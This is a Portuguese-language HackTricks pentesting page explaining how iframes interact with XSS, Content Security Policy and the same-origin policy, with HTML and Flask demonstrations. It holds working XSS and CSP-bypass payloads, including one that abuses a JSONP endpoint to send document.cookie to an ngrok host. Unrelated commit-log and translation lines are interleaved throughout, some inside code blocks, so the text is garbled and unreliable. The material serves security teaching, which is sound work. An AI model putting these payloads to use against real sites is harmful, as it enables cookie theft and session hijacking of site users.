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hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

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Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke
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# Iframes em XSS, CSP e SOP
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{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Ad hacktricks sponsoring
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<details>
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<summary>Support HackTricks</summary>
Ad hacktricks sponsoring
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Ad hacktricks sponsoring
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</details>
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{% endhint %}
Ad hacktricks sponsoring
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Translated to Portuguese
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## Iframes em XSS
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Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:
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* Via `src` indicando uma URL (a URL pode ser de origem cruzada ou mesma origem)
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* Via `src` indicando o conteúdo usando o protocolo `data:`
* Via `srcdoc` indicando o conteúdo
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**Acessando variáveis Pai & Filho**
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```html
<html>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
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</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
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Se você acessar o html anterior via um servidor http (como `python3 -m http.server`), você notará que todos os scripts serão executados (já que não há CSP impedindo isso). **o pai não poderá acessar a variável `secret` dentro de qualquer iframe** e **apenas os iframes if2 e if3 (que são considerados do mesmo site) podem acessar o segredo** na janela original.\
Note como if4 é considerado ter origem `null`.
GitBook: [#2789] gitbook failing again
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Translated to Portuguese
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### Iframes com CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
GitBook: [#2789] gitbook failing again
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GitBook: [#2790] iframes
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{% hint style="info" %}
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Por favor, note como nos seguintes bypasses a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.
GitBook: [#2790] iframes
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{% endhint %}
Translated to Portuguese
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O valor `self` de `script-src` não permitirá a execução do código JS usando o protocolo `data:` ou o atributo `srcdoc`.\
No entanto, mesmo o valor `none` do CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo `src`.\
Portanto, é possível contornar o CSP de uma página com:
GitBook: [#2789] gitbook failing again
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```html
<html>
<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
```
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Note que o **CSP anterior só permite a execução do script inline**.\
No entanto, **apenas os scripts `if1` e `if2` serão executados, mas apenas `if1` poderá acessar o segredo do pai**.
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![](<../../.gitbook/assets/image (372).png>)
GitBook: [#2789] gitbook failing again
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Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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Portanto, é possível **contornar um CSP se você puder fazer upload de um arquivo JS para o servidor e carregá-lo via iframe, mesmo com `script-src 'none'`**. Isso pode **potencialmente ser feito abusando de um endpoint JSONP de mesmo site**.
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Você pode testar isso com o seguinte cenário onde um cookie é roubado mesmo com `script-src 'none'`. Basta executar o aplicativo e acessá-lo com seu navegador:
GitBook: [#2789] gitbook failing again
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
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@app.route("/cookie_s.html")
GitBook: [#2790] iframes
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Outros Payloads encontrados na natureza <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
GitBook: [#2789] gitbook failing again
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```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
GitBook: [#3347] No subject
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### Iframe sandbox
GitBook: [#2789] gitbook failing again
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Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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O conteúdo dentro de um iframe pode estar sujeito a restrições adicionais através do uso do atributo `sandbox`. Por padrão, esse atributo não é aplicado, o que significa que não há restrições em vigor.
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Quando utilizado, o atributo `sandbox` impõe várias limitações:
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* O conteúdo é tratado como se originasse de uma fonte única.
* Qualquer tentativa de enviar formulários é bloqueada.
* A execução de scripts é proibida.
* O acesso a certas APIs é desativado.
* Impede que links interajam com outros contextos de navegação.
* O uso de plugins via `<embed>`, `<object>`, `<applet>` ou tags similares é proibido.
* A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida.
* Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático em controles de formulário, são bloqueados.
GitBook: [#2789] gitbook failing again
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O valor do atributo pode ser deixado vazio (`sandbox=""`) para aplicar todas as restrições mencionadas. Alternativamente, pode ser definido como uma lista de valores específicos separados por espaço que isentam o iframe de certas restrições.
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```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
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## Iframes em SOP
Ad hacktricks sponsoring
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Translated to Portuguese
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Verifique as seguintes páginas:
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
GitBook: [#3602] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
GitBook: [#3347] No subject
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GitBook: [#3603] No subject
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
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{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
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<details>
Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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<summary>Support HackTricks</summary>
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
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Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
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</details>
Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
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{% endhint %}
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